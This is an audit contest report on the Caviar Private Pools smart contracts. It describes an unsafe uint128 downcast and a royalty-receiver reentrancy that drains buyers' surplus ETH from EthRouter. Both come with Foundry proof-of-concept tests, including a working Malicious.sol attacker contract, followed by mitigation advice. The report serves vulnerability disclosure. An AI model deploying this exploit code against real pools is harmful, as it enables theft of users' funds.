Caviar Private Pools - Kenshin's results

Lines of code

https://github.com/code-423n4/2023-04-caviar/blob/cd8a92667bcb6657f70657183769c244d04c015c/src/PrivatePool.sol#L230-L231 https://github.com/code-423n4/2023-04-caviar/blob/cd8a92667bcb6657f70657183769c244d04c015c/src/PrivatePool.sol#L323-L324

Vulnerability details

Impact

In PrivatePool.buy() and PrivatePool.sell(), the functions downcast uint256 to uint128 without checking whether it is bigger than uint128 or not.

For example, in sell():

virtualBaseTokenReserves -= uint128(netOutputAmount + protocolFeeAmount + feeAmount);

Let's assume that a seller dump a huge set of NTF to the pool makes the result of netOutputAmount + protocolFeeAmount + feeAmount = type(uint128).max, therefore downcasting this value makes it become 0 and the updated price will be: virtualBaseTokenReserves -= 0;. As a result, the selling price which supposed to be decrease as usual after every sell, still be the same price. The pool owner lost more base token to the seller than it should be.

Proof of Concept

You can append the following test to test/PrivatePool/Buy.t.sol, the test should pass without reverts.

function testUnsafeDownCast() public {
        uint128 _virtualBaseTokenReserves = 6805.6474e33;
        uint128 _virtualNftReserves = 5.1e18;
        uint _baseTokenAmount = 10 ether;
        vm.deal(address(this), _baseTokenAmount);

        // mint 10 milady and deposit to the pool during creation.
        for (uint256 i = 5; i < 15; i++) {
            milady.mint(address(this), i);
            tokenIds.push(i);
        }
        milady.setApprovalForAll(address(factory), true);
        privatePool = factory.create{value: _baseTokenAmount}(
            address(0),
            address(milady),
            _virtualBaseTokenReserves,
            _virtualNftReserves,
            0,
            0,
            bytes32(0),
            false,
            false,
            keccak256("testUnsafeDownCast"),
            tokenIds,
            _baseTokenAmount
        );
        for (uint256 i = 5; i < 15; i++) {
            assertEq(milady.ownerOf(i), address(privatePool), "This NFT should be transferred to the pool.");
        }

        //////////////////////////////////////////////////
        // Buy 1 NFT, netInputAmount is not bigger than uint128
        // 0% fee for easily count
        uint[] memory oneToken = new uint[](1);
        oneToken[0] = tokenIds[6];
        (uint256 netInputAmount,,) = privatePool.buyQuote(oneToken.length * 1e18);
        assertLt(netInputAmount, type(uint128).max, "Should not bigger than uint128.");
        assertLt(privatePool.virtualBaseTokenReserves() + netInputAmount, type(uint128).max, "The new price should also be within uint128.");
        vm.deal(address(this), netInputAmount);
        uint balanceBefore = address(this).balance;
        privatePool.buy{value: netInputAmount}(oneToken, tokenWeights, proofs);

        // Sell 1 NFT back to the pool, should receive the same amount as the buying price.
        milady.setApprovalForAll(address(privatePool), true);
        (uint256 netOutputAmount,,) = privatePool.sellQuote(oneToken.length * 1e18);
        privatePool.sell(oneToken, tokenWeights, proofs, stolenNftProofs);
        uint balanceAfter = address(this).balance;
        assertEq(balanceBefore, balanceAfter, "Should loss nothing if there is no fee at all.");
        //////////////////////////////////////////////////

        //////////////////////////////////////////////////
        // Buy 5 NFTs, this time netInputAmount is bigger than uint128, unsafe to downcast.
        uint[] memory buyTokens = new uint[](5);
        for(uint i; i < buyTokens.length; i++) {
            buyTokens[i] = tokenIds[i];
        }
        (netInputAmount,,) = privatePool.buyQuote(buyTokens.length * 1e18);
        assertGt(netInputAmount, type(uint128).max, "Should be bigger than uint128");
        // If uint256 + uint256 > uint256 + uint128(uint256), it means the last uint256 is inaccurate after downcasting.
        assertGt(privatePool.virtualBaseTokenReserves() + netInputAmount, privatePool.virtualBaseTokenReserves() + uint128(netInputAmount), "downcasting should make less than actual");
        vm.deal(address(this), netInputAmount);
        balanceBefore = address(this).balance;
        privatePool.buy{value: netInputAmount}(buyTokens, tokenWeights, proofs);
        milady.setApprovalForAll(address(privatePool), true);
        (netOutputAmount,,) = privatePool.sellQuote(buyTokens.length * 1e18);
        privatePool.sell(buyTokens, tokenWeights, proofs, stolenNftProofs);
        balanceAfter = address(this).balance;
        // The user receive less ETH than should be, due to inaccurate price caused by downcasting.
        assertLt(balanceAfter, balanceBefore);
        //////////////////////////////////////////////////
    }

Tools Used

Foundry

Recommended Mitigation Steps

It is recommended to validate the value before and after downcasting to ensure that is still be the same after downcasting or use solmate's SafeCaseLib, that should be the least effort way to fix this.

Lines of code

https://github.com/code-423n4/2023-04-caviar/blob/cd8a92667bcb6657f70657183769c244d04c015c/src/EthRouter.sol#L141-L143 https://github.com/code-423n4/2023-04-caviar/blob/cd8a92667bcb6657f70657183769c244d04c015c/src/EthRouter.sol#L208 https://github.com/code-423n4/2023-04-caviar/blob/cd8a92667bcb6657f70657183769c244d04c015c/src/EthRouter.sol#L290-L292 https://github.com/code-423n4/2023-04-caviar/blob/cd8a92667bcb6657f70657183769c244d04c015c/src/PrivatePool.sol#L281

Vulnerability details

Impact

The EthRouter.buy() can be described as the following steps: 1.Users call EthRouter.buy() with some amount of ETH that likely to be more than required amount to make sure it will cover everything. 2.EthRoter.buy() forwards the call and ETH to PrivatePool.buy(). 3.PrivatePool.buy() calculates the actual price (plus royalty fee, if the pool is set with payRoyalties == true) and takes only that amount, return surplus ETH to msg.sender (EthRouter in this case) along with the specified NFTs. 4.If the pool is set with payRoyalties == true, PrivatePool.buy() will now send the fee to royalty fee receiver address. 5.EthRouter.buy() forwards surplus ETH and NFTs back to the user. Done.

During step 4, the surplus ETH that has been return by the pool still be in the router. This means the royalty fee receiver can callback to EthRouter.buy() with empty array take any surplus ETH that still within the router.

The cost of impact is vary, mostly should not much because users usually don't send much more ETH than necessary. However, the point is this attack makes the users lost all their sending ETH, and it is out of the protocol control whether how much the users will send.

Proof of Concept

The royalty fee model is very different for each project. Some may not limited to the creator address, some may set it to the previous owner, or some may allow its current owner change it to any address they want. To keep this simple, let's assume that the attacker has done technique and able to change the royalty fee receiver to any desirable address.

Here's the sample attack scenario.

1. The attacker deploy a malicious contract with receive() function implemented. It will check for the router's balance and callback to EthRouter.buy() with blank array if there's ETH.
2. The attacker done some techniques and able to change royalty fee receiver of a token, or maybe its entire project. So the attacker change it to the malicious contract that they have deployed.
3. The attacker create a private pool, deposit the NFT that has royalty receiver point to the malicious contract, or do nothing if the royalty fee address of the entire project is pointing to the malicious contract because there should be private pools of that NFT have already been created by others.
4. The attacker wait for someone to buy the NFT(s).
5. The malicious contract will automatically callback and steal any surplus ETH from every buying.

I used the test/shared/Milady.sol for this PoC. Original Milady.royaltyInfo() returns a hardcoded address address(0xbeefbeef). Please adjust it to be the same as the following snipped code to make this PoC run as expected. File:Milady.sol

function royaltyInfo(uint256, uint256 salePrice) public view override returns (address, uint256) {
        return (address(0xbeefbeef), salePrice * royaltyFeeRate / 1e18);
    }

Here's the PoC code. You can append this code to test/EthRouter/Buy.t.sol. The test should pass without reverts.

File:Buy.t.sol

import "./Malicious.sol";

function testReentrantStealRouterETH() public {
        /// Private Pool Parameters ///
        uint128 virtualBaseTokenReserves = 20e18;
        uint128 virtualNftReserves = 5e18;
        uint56 changeFee = 0; // to keep it simple
        uint16 feeRate = 0; // to keep it simple
        bytes32 merkleRoot = bytes32(0); // to keep it simple
        bool useStolenNftOracle; // let's use false to keep thing simple
        bool payRoyalties = true;
        bytes32 salt = keccak256("testReentrantStealRouterETH");

        // Attacker setup
        address attacker = address(0xffff);
        vm.deal(attacker, 10 ether);

        // Start simulating as an attacker from this line
        vm.startPrank(attacker);

        // Let's use milady for this PoC
        uint[] memory tokenIds = new uint[](3);
        for (uint i = 1000; i < 1003; i++) {
            milady.mint(attacker, i);
            tokenIds[i-1000] = i;
        }
        milady.setApprovalForAll(address(factory), true);

        // attacker create a private pool
        privatePool = factory.create(
            address(0), // baseToken
            address(milady),
            virtualBaseTokenReserves,
            virtualNftReserves,
            changeFee,
            feeRate,
            merkleRoot,
            useStolenNftOracle,
            payRoyalties,
            salt,
            tokenIds,
            0 // baseTokenAmount, for easier balance accounting
        );

        uint royaltyFeeRate = 5e16; // 5%
        Malicious royaltyRecipient = new Malicious(ethRouter);
        milady.setRoyaltyInfo(royaltyFeeRate, address(royaltyRecipient));

        // Ensure that everything is as expected.
        assertEq(factory.ownerOf(uint(uint160(address(privatePool)))), attacker, "Attacker should own this pool.");
        for (uint i = 1000; i < 1003; i++) {
            assertEq(milady.ownerOf(i), address(privatePool), "This milady should be transferred to the pool.");
        }
        assertEq(address(privatePool).balance, 0, "The pool initial ETH should be 5 ETH.");

        royaltyRecipient.flipMode();

        vm.stopPrank();
        address randomUser = address(0xa1);
        uint randomUserETH = 100 ether;
        vm.deal(randomUser, randomUserETH);
        uint[] memory wantTokens = new uint[](1);
        wantTokens[0] = 1001;
        vm.startPrank(randomUser);

        // A proof that less than 10 ETH is required to buy this Milady
        (uint inAmount,,) = privatePool.buyQuote(wantTokens.length * 1e18); // Equally weight
        (uint royaltyFee,) = ethRouter.getRoyalty(address(milady), wantTokens[0], inAmount);
        uint totalInAmount = inAmount + royaltyFee;
        assertGt(randomUserETH - totalInAmount, 90 ether, "Total paying price should be less than 10 ETH.");

        // The user send more than required amount to make sure that the transaction will not be reverted.
        EthRouter.Buy[] memory buyOrder = new EthRouter.Buy[](1);
        buyOrder[0] = EthRouter.Buy({
            pool: payable(address(privatePool)),
            nft: address(milady),
            tokenIds: wantTokens,
            tokenWeights: new uint[](0),
            proof: PrivatePool.MerkleMultiProof(new bytes32[](0), new bool[](0)),
            baseTokenAmount: randomUserETH,
            isPublicPool: false
        });
        ethRouter.buy{value: randomUserETH}(buyOrder, 0, true);

        // Buying completed as normal, but the user didn't receive excess ETH. It went to the attacker contract.
        assertGt(address(privatePool).balance, 0, "The pool should received ETH from selling an NFT.");
        assertEq(milady.ownerOf(wantTokens[0]), randomUser, "NFT should be transferred to the buyer.");
        assertGe(address(royaltyRecipient).balance, 90 ether, "Excess ETH should be stealt by attacker contract.");
        assertEq(randomUser.balance, 0, "User lost all the ETH they sent during the call.");
    }

File:Malicious.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import {EthRouter} from "src/EthRouter.sol";

contract Malicious {
    bool public attackMode; // on/off switch
    address owner;
    EthRouter ethRouter;
    receive() external payable {
        if (attackMode && address(ethRouter).balance > 0) {
            EthRouter.Buy[] memory empty;
            ethRouter.buy(empty, 0, false);
        }
    }

    modifier onlyOwner {
        require(msg.sender == owner, "Not owner");
        _;
    }

    constructor(EthRouter e) {
        ethRouter = e;
        owner = msg.sender;
    }

    function flipMode() external onlyOwner {
        attackMode = !attackMode;
    }

    function changeRouter(EthRouter e) external onlyOwner {
        ethRouter = e;
    }
}

Tools Used

Foundry

Recommended Mitigation Steps

It is the best recommended to use ReentrancyGuard library from either OpenZeppelin or solmate with EthRouter.buy(), EthRouter.sell(), and EthRouter.change(). All these 3 function will send all ETH in the router to the caller at the end of the function. It can be called with blank array to not perform anything and straight to the bottom of the function.

If you do not want to use ReentrancyGuard you can reposition the logic of PrivatePool.buy() by paying royalty fee before sending surplus ETH back to the caller, the same order as PrivatePool.sell(). This should remediate this attack, but I'm not sure this will introduce other vulnerabilities or not.

Judge has assessed an item in Issue #740 as 2 risk. The relevant finding follows:

Royalty receiver can reject, unsupported, or be blacklisted to receive royalty fee token and can result in the whole transaction be reverted.